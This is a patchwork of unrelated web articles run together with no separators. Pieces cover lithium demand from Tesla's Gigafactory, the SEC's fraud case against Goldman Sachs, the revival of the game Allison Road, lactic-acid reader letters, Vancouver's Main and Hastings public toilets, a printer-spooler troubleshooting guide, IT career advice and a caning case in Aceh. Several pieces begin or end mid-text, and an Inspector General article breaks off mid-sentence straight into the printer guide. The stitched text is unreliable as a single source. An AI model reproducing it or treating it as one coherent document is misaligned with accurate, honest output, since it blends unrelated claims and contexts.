As you can probably see, the more kWh a battery boasts, the further the driving range on electric power -- and the more lithium contained within the battery. Several industry research firms maintain that 1 kilogram of lithium is needed to enable a 6 kWh battery, which is in-line with theoretical limits. That gives us the following table for reference:
Vehicle Battery Lithium Required Chevy Volt 16.5 kWh 2.8 kg Nissan Leaf 24 kWh 4.0 kg Chevy Bolt* 60 kWh 10.0 kg Tesla Model S 70 kWh / 85 kWh 11.7 kg / 14.2 kg
This simplifies our work quite a bit. Now you can simply multiply the amount of lithium required per battery by the sales figures for each specific vehicle to get a rough estimate for the total amount of lithium consumed by your favorite automaker. Before you whip out the calculator, though, let's consider the lithium demand for the first Gigafactory, since not all production will be allocated to electric vehicles.
By the numbers: Tesla's Gigafactory consumption
The Gigafactory will have an annual production capacity of 35,000,000 kWh, or 35 GWh, not counting an additional 15 GWh purchased from external customers. Using the work above we can quickly calculate the amount of lithium Tesla will need every year for a Gigafactory churning out products at full tilt, which is expected by 2020:
Lithium Source Annual Capacity Lithium Required Per Year Gigafactory, In-House Production 35,000,000 kWh 5,833 MT Gigafactory, External Purchases 15,000,000 kWh 2,500 MT Totals 50,000,000 kWh 8,333 MT
The numbers in the table above include 500,000 electric vehicles and over 10 GWh of household energy storage devices per year. Considering that total global demand for lithium from battery applications stood at 11,160 MT in 2014, as we saw above from the USGS, it appears that a Tesla Gigafactory running at full capacity in 2020 would pretty easily disrupt global supply. And here the word "disrupt" is not used with the beneficial meaning loosely tossed around Silicon Valley.
It gets worse when investors consider that the USGS estimates total global lithium production (link opens PDF) will grow to just 41,000 MT by 2017, which represents a 5,000 MT increase from current levels. Or the fact that the 8,333 MT of demand needed for the Gigafactory excludes production growth of other electric vehicles.
For instance, the Nissan Leaf grew sales to 30,200 in 2014. That consumed just 121 MT of lithium, but Nissan has plans to produce roughly 150,000 vehicles per year, which would represent 600 MT of annual lithium consumption using the current 24 kWh battery. That will increase further when Leaf owners are given the option to purchase even bigger batteries in the next few years. Throw in growth in the BMW iSeries, a slew of hybrids, the mass market Chevy Bolt, and perhaps even the Apple car, and it's difficult to imagine lithium supply ramping quickly enough in the short term.
What does it mean for investors?
While the world has plenty of lithium reserves, it would be difficult to bring online enough supply in time for Tesla's soon-to-be astronomical consumption in addition to sales growth from other automakers such as General Motors and Nissan. There could be new production plants brought online eventually that aren't accounted for in the USGS estimates, even some rumored to be in Nevada (where the Gigafactory resides), but many things have to fall perfectly into place to make Tesla's dream a reality by 2020.
Then again, I think its more realistic to question not the supply of lithium, but whether or not Tesla can actually sell 500,000 electric vehicles and over 10 GWh of household energy storage devices per year by 2020. In other words, Tesla's Gigafactory may not pressure global lithium supply because it may not reach full production anytime soon. We'll soon find out. And if you're waiting for the next 199 Gigafactories, I wouldn't hold my breath.SAN FRANCISCO (MarketWatch) -- The Securities and Exchange Commission on Friday charged Goldman Sachs Group Inc. and one of its vice presidents with defrauding investors by misstating and omitting key facts about a financial product related to subprime mortgages.
The SEC alleged in a civil lawsuit that Goldman GS, +0.13% structured and marketed a collateralized debt obligation that hinged on the performance of subprime residential-mortgage-backed securities, or RMBS. However, it failed to disclose the role that a major hedge fund, Paulson & Co., played in the portfolio selection process as well as the fact that the hedge fund had taken a short position against the CDO. See full story on Paulson & Co.'s role in the Goldman Sachs case.
"Goldman wrongly permitted a client that was betting against the mortgage market to heavily influence which mortgage securities to include in an investment portfolio, while telling other investors that the securities were selected by an independent, objective third party," said Robert Khuzami, director of the SEC's division of enforcement, according to a statement. Read commentary about Goldman's 'faulty brakes' argument.
Goldman said the SEC's charges "are completely unfounded in law and fact."
"We will vigorously contest them and defend the firm and its reputation," the investment bank added in a statement.
Goldman shares were down 13% to $160.02 after the SEC unveiled its suit. See text of SEC complaint.
"Once upon a time, Wall Street firms protected clients," said Christopher Whalen, who heads the research firm Institutional Risk Analytics. "This litigation exposes the cynical, savage culture of Wall Street that allows a dealer to commit fraud on one customer to benefit another."
The SEC's suit is aimed at the heart of one of the most profitable hedge-fund trades in history. Paulson, headed by John Paulson, generated billions of dollars in profit in 2007 from bets against CDOs. Other firms also made huge gains in similar trades as the housing market imploded, triggering a global financial crisis.
"The SEC continues to investigate the practices of investment banks and others involved in the securitization of complex financial products tied to the U.S. housing market as it was beginning to show signs of distress," Kenneth Lench, chief of the SEC's structured and new-products unit, said.
Still, Paulson & Co. wasn't charged by the SEC because the hedge fund firm wasn't obligated to tell investors about the CDO. Read about Paulson's involvement.
Paulson & Co. paid Goldman to structure a transaction in which the hedge-fund giant could take short positions against mortgage securities chosen by Paulson & Co. based on a belief that the securities would experience credit events, the SEC alleged.
Marketing materials for the CDO known as Abacus 2007-AC1 told investors that the portfolio of residential-mortgage-backed securities underlying the CDO was selected by ACA Management LLC, a third party with expertise in analyzing credit risk in these securities.
The SEC alleged that, undisclosed in the marketing materials and unbeknownst to investors, Paulson & Co., which was poised to benefit if the RMBS defaulted, played a significant role in selecting which RMBS should make up the portfolio.
After participating in the portfolio selection, Paulson & Co. effectively shorted the RMBS portfolio it had helped select by entering into credit-default swaps with Goldman to buy protection on specific layers of the Abacus capital structure.
"Given that financial short interest, Paulson & Co. had an economic incentive to select RMBS that it expected to experience credit events in the near future," the SEC said.
Goldman did not disclose Paulson & Co.'s short position or its role in the collateral selection process in the term sheet, flip book, offering memorandum or other marketing materials provided to investors, the SEC said.
Investors in these securities, including German bank IKB (IKB) and Dutch financial-services company ABN Amro, now a unit of the Royal Bank of Scotland RBS, +1.90% lost more than $1 billion when the securities in the CDO turned toxic, the SEC said.
Paulson & Co. made a profit of roughly $1 billion on the trade, the regulator added.
Paulson & Co. said in a statement that it wasn't involved in selecting the collateral that went into the ABACUS CDO, in contrast to the SEC's allegations.
"ACA as collateral manager had sole authority over the selection of all collateral in the CDO," the hedge fund firm said. "While Paulson purchased credit protection from Goldman Sachs on securities issued under the ABACUS ABS CDO program, we were not involved in the marketing of any ABACUS products to any third parties."
"Paulson did not sponsor or initiate Goldman's ABACUS program, which involved at least 20 transactions other than that described in the SEC's complaint," the firm continued. "As the SEC said at its press conference, Paulson is not the subject of this complaint, made no misrepresentations and is not the subject of any charges."
The deal closed on April 26, 2007, and Paulson & Co. paid Goldman roughly $15 million for structuring and marketing Abacus.
By Oct. 24, 2007, 83% of the RMBS in the Abacus portfolio had been downgraded and 17% were on negative watch. By Jan. 29, 2008, 99% of the portfolio had been downgraded.We speculated as much earlier when the game’s Facebook page suddenly started posting again, but now it’s been confirmed by its creator: Allison Road is back from the dead and Chris Kesler is more determined than ever to finish it.
Under his new label, Far From Home, Kesler will be working on the game with his wife with no other assistance. Lilith Ltd was his team who were previously overseeing development on Allison Road.
In a statement to IGN, Kesler said:
“I’m actually really happy to be able to announce that [Allison Road] will continue. We had a lot of support online and some folks out there are just incredibly nice.”
Originally announced back in July of 2015, Allison Road was hailed as the successor to P.T. as they shared similar locations and aesthetics. Its trailer went mini-viral, leading to a Kickstarter campaign that received a lot of funding within its first week before the publishing rights were snapped up by Team17. Kesler couldn’t comment on the reasons behind the cancellation, presumably for legal reasons.
On how he got the drive back to start work again on allison Road, Kesler said:
“It did take a bit of soul searching to find the drive again to work on Allison Road and to simply make a call on what to do next. After the set back, I took a bit of a break from working on it and re-evaluated all the work that had been done so far — the whole journey, so to speak. I started making a few (in my opinion) necessary changes to the story and the flow, little bits and pieces here and there, and before I knew it, it sort of naturally came back to life.”
He also talked about the responsibility of taking on the brunt of the work by himself:
“For our gameplay trailer, I did all the modeling, texturing, shaders, lighting, etc., and thankfully a lot of the mechanics are already implemented from the previous development phase, so I can comfortably take the game forward by myself. If and when it comes to a point where new features and mechanics are required, or old ones need changing, I’ll go look for support.”
No release date has been set for the rejuvenated Allison Road, but considering how it’s now such a small team, it might take some time. No news on whether it will still come to PS4 and Xbox One or stick to PC, either.
Oh well, looks we’re excited all over again.
What do you think? Excited to see Allison Road return? Leave a comment below.Some time ago, my family and I went to visit the local Bird Park, and they had a huge open aviary that was full of lories (lorikeets) that you could feed with little bowls of barley.It just so happened that we were the first ones in that morning and boy were the lories hungry. They descended on us like the compys in Jurrassic Park 2 ; at one point I think there were 6 or 7 of them clambering all over me, their sharp claws digging into my arms, neck and head as they fought over the food. Their screeches were deafening!I kept having this impression that they were little dinosaurs (I guess they sort of are), so I decided to sketch them out as imaginary dinos here.Of course the lory's ancestor looks nothing like this!For some accurate paleoart, please see : ewilloughby.deviantart.com/Image copyright AP Image caption The Trump family, with Ivanka wearing the bracelet on the far right, during the 60 Minutes interview
Ivanka Trump has found herself in the midst of a mini-scandal less than a week after her father was elected president.
Ms Trump landed in hot water after sending out a "style alert" to journalists around the world.
The problem? The alert focused on a $10,000 bracelet from her own range which she had worn during Donald Trump's 60 Minutes interview.
Critics saw the email as blurring the lines between business and politics.
The "alert" showed a picture of Ms Trump wearing the bracelet - described as her "favourite bangle" - during the CBS interview, which was watched by 20 million people.
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People were quick to accuse her of cashing in on her father's position, while some social media users noted the bracelet's price tag of $10,800 (£8,670) - roughly a fifth of the average US annual income - was at odds with Trump's man of the people image.
The Ivanka Trump brand was forced to apologise. Chief brand officer Abigail Klem told The New York Times that the "style alert" had been sent by "a well-intentioned marketing employee at one of our companies who was following customary protocol, and who, like many of us, is still making adjustments post-election".
Image copyright AFP Image caption Ms Trump also used her appearance at the Republican National Convention to advertise her brand
It is not the first time Ms Trump has used her father's new political career to advertise her own business.
In July, Ms Trump raised eyebrows when she plugged a sleeveless sheath dress from her own collection that she wore to the Republican Party's national convention that nominated her father.
Immediately after the convention, Ms Trump sent a Twitter message with a link directing fans who wanted to "shop Ivanka's look" to retailer Macy's website where they could buy the same dress for $138.
However, being the daughter of a controversial candidate has not been entirely good news for the businesswoman.
The #grabyourwallets campaign, which calls on women to stop buying Ivanka brand luxury products from major US stores, including Macy's, Nordstrom and Amazon, began after Mr Trump was heard to boast "you can do anything" to women "when you're a star" and is heard saying "grab them by the pussy".Earlier this week, we published a training article that originally ran in the Dec. 2013 issue of Velo magazine. That article, which focused on dispelling misconceptions over lactic acid and lactate, drew a great deal of positive feedback, but also brought on two reader letters that were as detailed as they were heated. To address those letters, we’ll run them here, followed by the response from Trevor Connor, author of the original article, which you can find below. If you have more feedback, please visit our Facebook page to comment.
Lactic acid myths, debunked >>
Correction on article about lactic acid
Hello,
I was reading your article about lactic acid and noticed a couple of inaccuracies, specifically the part about lactic acid existing in humans.
First off, I need to be clear on the definition of an acid. An acid is a compound that releases a proton (a hydrogen atom without an electron –H+) into solution, be it blood or water or alcohol. Acidity is measured in pH, which is the -log (concentration of H+).
Another thing that needs to be made clear is that not all acids are equal. Some acids are strong and some are weak. A strong acid releases all of its H+s in water, while weak acids don’t necessarily release an H+ into solution. What that means is that if you put one million molecules of a weak acid into water, even if only one of those molecules loses its H+, it is still an acid. On the other hand, if you put one million molecules of a strong acid into water, every single molecule would loose an H+. Therefore an equal concentration of a strong acid will have a lower pH than that of a weak acid.
Now that that’s out of the way, here are the errors I found.
1) In the middle of the section, the article says that “If you had lactic acid in your blood, you’d have to have a pH under six…” That isn’t true. At low concentrations, the pH would remain in the sixes.
2) Near the end of the same section, there was a statement that “an acid is simply a positively charged hydrogen.” This is incorrect as well. The H+ is what we measure to determine the acidity of a solution, but it isn’t an acid by its self. To have an acid, you need a hydrogen bound to at least one more atom.
Thanks,
Daniel Reynolds
Lactate article
Dear Editors,
I strongly urge you to take down the article by Trevor Connor. Far from debunking myths about lactic acid, I believe it contains basic errors in chemistry and physiology that need to be properly addressed. It could simply be read by any professor of chemistry or biochemistry for an authoritative vetting.
What struck me immediately is the misunderstanding of the functional difference between the ionized form of lactic acid (“lactate”) and lactic acid (protonated form). They are functionally the same thing. For example, in my work I typically describe vitamin C in an organism as “ascorbate” because ascorbic acid exists in the ionized form at typical physiological pH. The vitamin C is still there, and is still fully functional, whether it is referred to as “ascorbate” for “ascorbic acid”. Same thing with lactate/lactic acid. Its net production (buildup) shows that an athlete’s muscles are no longer able to produce sufficient energy aerobically, such as in a long sprint. It doesn’t help your readers understand sports physiology by reading an argument that “lactic acid” is not being produced.
There is a great need for educational articles, and I just suggest having them “reviewed” more stringently.
Raymond Barbehenn
Assoc. Research Scientist
Dept. MCDB & EEB
University of Michigan
734-764-2770
Trevor Connor’s rebuttal
I want to thank our readers for their thoughtful feedback on the recent lactic acid piece. I will admit that it proved to be more difficult than I expected to explain lactic acid chemistry in a short article targeted toward many readers with little chemistry background. Certainly some things needed to be simplified. For any of you interested in a complete explanation, I would definitely refer you to two great reviews that were critical to my article. The first is titled “Lactic acid and exercise performance,” written by Simeon Cairns. The second is “Biochemistry of exercise-induced metabolic acidosis,” by Robergs, et. al. The former, which provides a great history of lactate physiology states early on, “it should be noted that virtually no lactic acid exists in the body in this neutral form; instead it is represented by two ionic species: lactate ions and hydrogen (H+) ions.”
One reader pointed out that lactate/lactic acid are functionally the same thing. And certainly in the literature acids and their base are often used interchangeably. However, in this case I do not feel that lactate and lactic acid can be viewed interchangeably for several reasons. First, lactic acid is an acid with a dissociable hydrogen ion. Lactate is a base without the ion. That difference is important when looking at its impact on pH balance. Second, the pKa value of lactic acid is 2.67. This is the pH at which the substance exists 50/50 as lactic acid and lactate; 2.67 is not physiological, so it is simply not possible for the bound form (lactic acid) to exist in the body. This is what I was getting at when I said, “if you had lactic acid in your blood, you’d have to have a pH under six.” Meaning our blood pH would have to be well below six before it would exist as lactic acid.
Third and most importantly, at no point in its physiological pathway does lactate function as an acid. Lactate is formed by binding a hydrogen ion to pyruvate inside cells, so as recent research is showing, lactate formation not only doesn’t contribute to acidity but in fact acts as a buffer by binding intracellular protons. Further, the lactate that is pumped into the blood never has a physiologically dissociable hydrogen ion that can contribute to acidosis. A hydrogen ion does leave the cell with lactate, but it is believed that there again, the lactate is helping to maintain intracellular pH by acting as a co-transporter. Robergs et al. concluded that the hydrogen ion was not produced by lactic acidosis but by ATP hydrolysis. They go on to say, “there is no biochemical support for lactate production causing acidosis. Lactate production retards, not causes, acidosis.”
What all this means is that lactate never contributes to acidity but in fact acts as a buffer, so I do not feel it is appropriate to say lactic acid and lactate are functionally identical in this case.
The reader states that what’s important is that lactate is produced when we can no longer produce sufficient energy aerobically, but this again is not the case. Lactate is constantly being produced in the body and actually acts as an important fuel. Its rise in the blood has as much to do with our ability to clear it as its formation. I have in fact worked with athletes who have very high lactate levels while working at low aerobic levels due to poor clearance mechanisms.
Another reader does point out that I was inaccurate when I referred to hydrogen ions as acid. This is true. However, physiologically speaking, the body doesn’t sense particular acids, it senses pH levels and it is the concentration of hydrogen ions that determine pH. It would have been more accurate to say the hydrogen ions pumped out with lactate cause the drop in blood pH. I hope you can forgive the simplification to make the article digestible.
Ultimately the key point I was trying to get across was that at no time does lactate physiologically function as an acid or contribute to metabolic acidosis. So I think it’s important for our readers to stop thinking of “lactic acid” — a substance that only appears when we work aerobically, that increases acidity, and leads to fatigue. Instead, it is important they instead think of “lactate” — a substance that is constantly produced (even at rest), that can be formed as an acid buffer, and serves as an important fuel shuttle within our bodies.
Trevor Connor
Dept. of Health and Exercise Science
Colorado State UniversityGlenn Baglo, Vancouver Sun
WASHROOM CARETAKERS: Jim and Julie Scott look after the public toilets at Hastings Street. P. A1. The Toughest Job in Town It was six years back with the hookers, pimps and dealers in full control of their tiled turf that Jim Scott and wife Julie embarked on careers filled with danger, excitement and sewage. Their City of Vancouver photo ID badges say it all: "Main and Hastings Comfort Station Attendant." A comfort station is a sanitized term for public toilets, but not just any public toilets. Julie and Jim work the toughest toilets in town. They are part of a proud city heritage stretching back some 75 years. Their world is the flush and gurgle of Vancouver's two surviving underground public washrooms those under Victory Square and those under Main and Hastings. They hold the city contract for both aging facilities, operated at an annual cost of $170,000. But it is the dank bunker at Main and Hastings that consumes them the hardest, most drug-infested corner of the poorest neighbourhood in Canada. By all accounts save a few disgruntled crackheads they run a darn fine bathroom. They are not a hard or cynical team, nor are their eight full- and part-time employees. They arrived with the Javex and mops to toilet-train the Downtown Eastside, but it was tougher than even they imagined. Frontier law ruled: existing staff cowered in locked attendants' rooms, content to let hookers, dealers and addicts run the place. Over time, they've been abused, attacked and, in Julie's case, threatened by a gun-wielding pimp. In a moment of despair, Julie made a promise: she would make these toilets safe enough for a child to visit. Their victories are rewon daily with a combination of cunning, tough love, and elbow grease. Some things are better today, some are worse. "It's the rock cocaine, more than anything," says Jim. For Julie, it's the gangs, each fighting for a place on the corner. "There's going to be a gang war some day," she warns, as the sounds of an argument, sharp as broken glass, crash down the stairs. "Not here, though," she says. "We're Switzerland. We're neutral." Over time, the Scotts have brought Julie's son, 22-year-old Floyd Jewell, into the family business. Jewell was in high school when he started pulling the occasional shift, under the protective tutelage of Jim, his step-father. Now he works a four-day week, half of it in the comparative calm of Victory Square. Two days a week is all his parents will schedule him in the maelstrom of Main and Hastings. Initially, it was a blow to the young man's pride. He has since appreciated their compassion. Main and Hastings grows worse. "It was bad, but it wasn't, like, bad-bad," Jewell explains. "There's a difference."
Glenn Baglo, Vancouver Sun
DIVERSE CLIENTELE: Drug dealers often use the stairwell to make their exchanges out of open view of the police. Toilet Theory Margaret Andrews, a professor in the history department of Washington State University, has a theory about Vancouver's public washrooms: Their installation, around the turn of the 20th century, marked a "retreat of the frontier." She made her case in a delicately-worded academic essay published a decade ago in the BC Studies journal. It was a guy thing, in her view. As late as 1891, Vancouver's 65 per cent male population "gave it a frontier flavour, to which an abundance of saloons and brothels contributed, along with the comparatively unrefined toilet behaviour, which concerns us here." This she defines as an "unfettered response to calls of nature." Awash in waste by 1896, Vancouver began the civilizing process of installing public toilets. Fragrant terms like "water closet" and "public convenience" filled city records. Most facilities, though, were urinals for men. That women might require "comfort" was initially beyond the grasp of city fathers. By the 1920s, women won a place in a series of underground toilets installed at busy downtown thoroughfares, including south of the Granville Street bridge, Kingsway and Broadway, and the two surviving facilities on Hastings. Prophetically, city planners of the day included attendants' rooms in the downtown (eastside) locations apparently to keep the peace. There, not unlike today, "remnants of frontier culture were particularly persistent," Andrews writes. The academic study of toilets has a perverse appeal to Jim Scott. He is sitting in the attendant's office. His chair is chained to a sewer pipe so it can't be stolen. He's just banished from the toilets two guys with crack pipes. A guy on the stairs is jamming heroin into his arm. Toilets as a civilizing influence? He hoots across the room to his wife: "Boy, have they come full circle now."
Glenn Baglo, Vancouver Sun
DIVERSE CLIENTELE: Addicts frequent the sidewalk above the public toilets at Main and Hastings. Stalled lives At 6:30 a.m. this is the view from Main and Hastings: Across Burrard Inlet, the sunrise has hit the North Shore mountains, shattering the red spectrum into a thousand hues that stain the sky and colour the mountain snow. Down on the corner, Jim and Julie cast their eyes briefly to the hills, before returning their attention to the litter, glass and needle wrappers on the sidewalk. A young man in his 20s, anxious for the toilet's steel gates to open, bleeds all over the stairwell. Julie and Jim are largely ignored as they clean up a night's anarchy. They sweep around drug deals and twitching needle junkies and scrawny hookers in bum-freezer mini-skirts. A visitor, however, merits attention. Within minutes come offers of every conceivable drug and sexual service, as well as a veritable wardrobe of hot clothing. Commerce never sleeps. A sunny day such as this is a joy to Julie and Jim, though they will see it only when they surface for cigarette breaks. Fewer people will crowd the stairwell and the stalls to keep dry or to shoot up. Yet even on nice days, the game of cat-and-mouse continues. Jim and Julie employ different strategies across the gender divide. The men's side handles 1,000 visitors a day, some of whom actually want to use the toilet. For the rest, Jim has little sympathy and an arsenal of tricks. For instance, it is freezing down here. In the winter he keeps it cold, in the summer, he cranks up the heat. It is a way of ensuring no one lingers. In the washroom's north corner, Jim has installed a blower. The wind-tunnel effect sends powdered drugs flying and makes the lighting of crack pipes a difficult proposition. Two weeks ago, he installed black lights, bathing the washroom in a dim purple twilight. "They can't shoot up," he says, "if they can't see their veins." Lord knows, though, they try. "Gotta flashlight?" asks one, poking his head in Jim's office. Jim has a grudging respect for the persistence of the average drug addict. "If they were to put their effort to good use," he says, "they'd find a cure for cancer." By contrast, Julie's turf, the women's side, is bright and inviting. The tiles are a friendly yellow. There are doors on the toilet stalls. There are lights. Julie tracks the activity from a convex mirror visible from the attendant's office, as she works through a book of crossword puzzles. Her walls are covered with cheerful photos of her children and grandchildren. What Julie has are RULES. They are posted on plywood over the sinks. RULES for things that make your stomach flip just thinking about them. A partial list: No drugs, or alcohol or smoking it.
No washing hands in water fountain.
No loitering at any time or warming up or sleeping.
Subject to check on drug users, as in looking over stall, watching under stall. When caught, could be barred depending on the circumstance.
No picking ones self anywhere in this washroom. It's a health hazard. (Junkies, Julie explains with a grimace, are forever tearing at their skin, picking scabs, drawing blood.)
If you shoot up, expect a bucket of water dumped over the stall without warning. Don't think she hasn't done it.
Glenn Baglo, Vancouver Sun
DIVERSE CLIENTELE: Desperate addicts search cracks in sidewalk above the toilets, looking for fragments of crack cocaine. Not the living room Above ground, sharing the southwest corner of Main and Hastings, is the Carnegie Centre, with its plethora of community programs for body, mind and spirit. On a recent morning, Carnegie director Michael Claygue waved a cheery hello to Julie and Jim, wheeled his bike safely inside the 97-year-old centre and reflected on the scene outside. "It's hard not to describe it in emotional terms at both ends," he says of the corner. "Because it simply exposes there life's tragedies and some incredible courage as well." The corner, both Claygue and Jim Scott agree, defies an easy solution. Where they differ, is how to achieve this. Claygue sees the Carnegie as "the living room of the Downtown Eastside", whereas Scott has no illusions about the service he provides. Both rooms are necessary, but Scott questions the wisdom of making this corner so welcoming. Here, at the heart of the drug trade, are needle exchanges and street nurses, and clothing and counselling, and soup kitchens and all manner of well-meaning, well-funded programs. "So," says Scott, "they'll be in jail and off drugs and the first place they go is back here. It's like a magnet or something." He points to a woman scouting for drugs, half of a husband and wife team who'd been in rehab and off the street for months. "What they're doing isn't working. It's certainly putting a lot of money in people's pockets, but it isn't working." Upstairs in the Carnegie, Claygue respectfully disagrees. There is no value is sweeping people off the corner and into back alleys. "We're committed to having the activity, the open drug scene, closed, but we know that it needs to take place coincident with real alternatives." Downstairs, Scott considers this a bit naive. Maybe it's his frustration with a society that can't decide if drugs are a criminal or a social ill. "Nobody will help these people," he says. "This corner, it's like their safety net. I get frustrated with the people, and I get frustrated with a system that isn't helping them." Such worries, of course, aren't in the job description, but they come with the turf.
Glenn Baglo, Vancouver Sun
DIVERSE CLIENTELE: Users will duck into the stairwell to smoke crack out of the wind. Done for love Long story short: Julie met Jim at the York Hotel in Grande Prairie, Alta. same place she met her three previous husbands. She used to work there, but the York was a better place to fall in love than to stay in love. Until she met Jim, she concedes, "I sort of didn't pick them very well." One day all three of her ex-husbands were at the hotel. Jim, a veteran bar manager in garden spots like Red Earth, Alta., happened to be passing through town. "I'm sitting there, listening to this, and I thought: I gotta talk to this gal." The love match has survived many things, not the least of which is six years, sub-surface. They try not to take their work home, as you might imagine. But, from break-ins to plumbing emergencies, the job is all-consuming. "There are times," says Julie, "when the washroom comes to us." For this, their staff are paid somewhat better than minimum wage, and all the bathroom breaks they need. The Scotts don't get a whole lot more, but there are other "rewards," says Jim. There's John and Kevin, two pals they nagged into rehab and off the streets. There's the good people of the eastside like Haluk, a personable Inuk who moved south for the climate, and who popped in to show off Dancing Bear, his latest alabaster carving. There's son Floyd, their pride and joy. They didn't need sermons to keep him away from drugs, just a couple of shifts underground. Floyd says he'll stick with the job as long as his parents need him. It comes clear in separate interviews that they think they're helping Floyd, and Floyd thinks he's helping them. The funny thing is, they're both right. What they share is a transcending dignity that comes in a job any job well done. It's mid-afternoon and Julie oblivious to the bone-creeping chill watches an elderly Chinese woman leave facilities as safe and clean and welcoming as she can make them. She smiles and recalls her early wish to see a child down here. It took six months of Javex and abuse, but one day it happened. A mother came down the stairs, clutching her daughter's hand. And Julie Scott started to cry. Public (Washroom) Behaviour of the Old-Fashioned Sort "City council minutes show that toilet attendants were expected to keep the facilities clean, and they could further cater to the fastidious by providing soap and towels through hatches facing the wash-basins."
"On the other hand, the extensive use of glass in the walls of the attendants' rooms suggests that they were also intended to discourage crude or disorderly behaviour."
"Before the turn of the century, frontier attitudes and practices were not unusual. People were not particularly fastidious, unpleasant smells were an accepted part of the urban environment, and toilet habits were casual. " From Sanitary Conveniences and the Retreat of the Frontier: Vancouver, 1886-1926, by Margaret Andrews500 employees. A $100 million budget. 1.2 million documents in the Inspector General’s possession. For delivery to the House Judiciary Committee by January 15, 2018.
I have been discussing the Inspector General’s Investigation for a bit now. See: here, here and here.
But exactly who is the Inspector General.
First off, there’s not just one Inspector General. There are 73 Inspectors General – each related to a specific governmental agency.
The role of federal IGs is to prevent and detect waste, fraud, and abuse relating to their agency’s programs and operations.
Under the Inspector General Act of 1978 IGs are required to be selected based upon qualifications – not political affiliation. However, IGs appointed by the President (about half) are in reality political |
Operation cannot be completed,”
Then your printer has encountered a print spooler error.
Need help troubleshoot printing errors? Visit Desktop Printing How-to-Guides Blog
What is Print Spooler Error?
This error occurs when a third party printer driver prevents the operation of a newly installed printer. It disables printer-computer communication and other services, making it impossible to print any job. However, there are many methods to resolve this printer problem.
Safe Mode:
Starting your computer in safe mode will allow the spool files to be removed.
To start in safe mode:
1. Restart computer and repeatedly press F8 while the computer is restarting.
2. When the “BOOT” menu appears, press F8 to run multiple OS (operating system).
3. Once the “Windows Advanced Options” appears, select “SAFE MODE” then “ENTER”.
You can now delete spool files.
Simply start “Microsoft Windows Explorer”, and delete all folders and files in the following folders:
– C:\Windows\System32\Spool\Printers
– C:\Windows\System32\Spool\Drivers\w32x86
For Windows XP
Turn on the computer. Click the start button and then open the control panel after the computer boots up. Type in “Computer Management” in the search box found on the top left corner of the control panel. Open the icon that appears in the search results. Click “Services” once a breakdown appears. Click “Print Spooler” then “Restart” to reset the spooler service. Send a print job and do a test print.
For Windows 7
Turn on the computer. Click the start button and type in “Services.msc” after the computer boots up. Check if the printer spooler is turned on. If turned on, proceed to step #4. If the spooler automatically turns off after turning it on, proceed to the next step. Click the start button and search for “spoolsv.exe”. Right click and go to properties. Click the “Security” tab and go to “Advance,” then to “Owner”. Take the full ownership of the file and grant full permission. After setting it up, close the windows and reset the printer spooler service. Run “CMD” as an administrator from the start search and type in “del /Q C:\WINDOWS\system32\spool\PRINTERS\*.* “ Once completed, close the window and again restart the spooler in the service and test print.
If the steps above do not fix this laser printer problem, try Microsoft Customer Support Services Web site for additional option. If nothing else works, it would be best to contact a professional. It is always good to have basic troubleshooting knowledge but if problems persist, calling a technician is always the best solution.How do you keep your job -- or get a better one -- in an era when hiring is in a freeze and budgets are perpetually squeezed? Follow these 12 maxims and find out.
Some of these ideas are practical advice you've probably heard before (and ignored). Being familiar with the business objectives and how technology can improve the bottom line is more important than ever. But so is expanding your portfolio of IT skills. Mastering cloud services or data management will help ensure your relevance in a rapidly changing work environment. You'll also want to reach out and communicate with your colleagues across the aisle and the organization, and take on dirty jobs nobody else wants. Eventually it may even mean leaving the comfort of a big organization and branching out on your own.
[ Also on InfoWorld: Bring peace to your IT department by avoiding IT turf wars and the nine circles of IT hell. | Find out which of our eight classic IT personality types best suit your temperament by taking the InfoWorld IT personality type quiz. ]
But remember: Becoming "indispensable" can be a double-edged sword. Get too indispensable and you might find yourself unable to move beyond your niche.
Effective IT habit No. 1: Get down to business
You may be your organization's most talented developer or dedicated systems administrator. But if you don't know what the business is selling or what service it's providing, you're an unemployment statistic waiting to happen.
First step: Learn as much about the business as you possibly can, advises Mark A. Gilmore, president and co-founder of Wired Integrations, a strategic technology consulting firm.
"Ask yourself, 'How does it make its money? What are its strengths and weaknesses?'" Gilmore says. "Once you understand how the company works, you can use your IT knowledge to improve the company -- thus making yourself more valuable and less dispensable."
It helps to have a deep understanding of the company's critical infrastructure and to keep abreast of tech trends, he adds. But this may also require broadening your worldview.
"Don't look at things from strictly an IT perspective," he says. "Widen your vision to see how things relate to the business world around you. That will make you more valuable than 20 technical certifications and a master's degree."
Effective IT habit No. 2: Keep your eye on the bottom line
Your job isn't just to keep the lights on and the data center humming. It's to help your organization use technology to improve the business -- especially by trimming costs and increasing efficiency.
Servers running at a fraction of their capacity? If you haven't already virtualized your data center, now's the time. Software licenses dragging down your budget? You have an increasingly broad choice of low-cost cloud-based apps that let you pay only for what you use and only for as long as you use it. That's barely scratching the surface.A Sharia law official whips a man convicted of adultery with a rattan cane in Banda Aceh (Picture: AP)
A gay couple face up to 100 lashings by cane after a neighbours reported them to police for having sex.
If found guilty the two men will be the first to be caned in Indonesia for gay sex, according to the Shariah police’s chief investigator.
What is the Momo challenge on YouTube and who came up with it?
The men, aged 23 and 20, were arrested in the provincial capital, Banda Aceh, on March 29.
Marzuki, who is leading the investigation, said the men had ‘confessed’ to being a gay couple after a video of the pair together was posted online by a neighbour.
The footage allegedly shows one of the men naked and visibly distressed as he calls for help on his phone, while his partner is repeatedly pushed by another man who prevents the couple from leaving the room.
A woman in Indonesia received lashings for spending time with a man who wasn’t her husband (Picture: Getty Images)
Aceh is the only province in Muslim-majority Indonesia to practice Shariah law, which was a concession made by the national government in 2006.
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A Shariah code, implemented two years ago, allows up to 100 lashes for morality offences, including gay sex.
Caning is also a punishment for adultery, gambling, drinking alcohol, women who wear tight clothes and men who skip Friday prayers.
Powerful picture shows girl lying alongside her dead sister after Syria airstrike
Marzuki said residents in Banda Aceh’s Rukoh neighborhood were suspicious of the two men because they often seemed to be intimate.
‘Based on our investigation, testimony of witnesses and evidence, we can prove that they violated Islamic Shariah law and we can take them to court,’ he said.
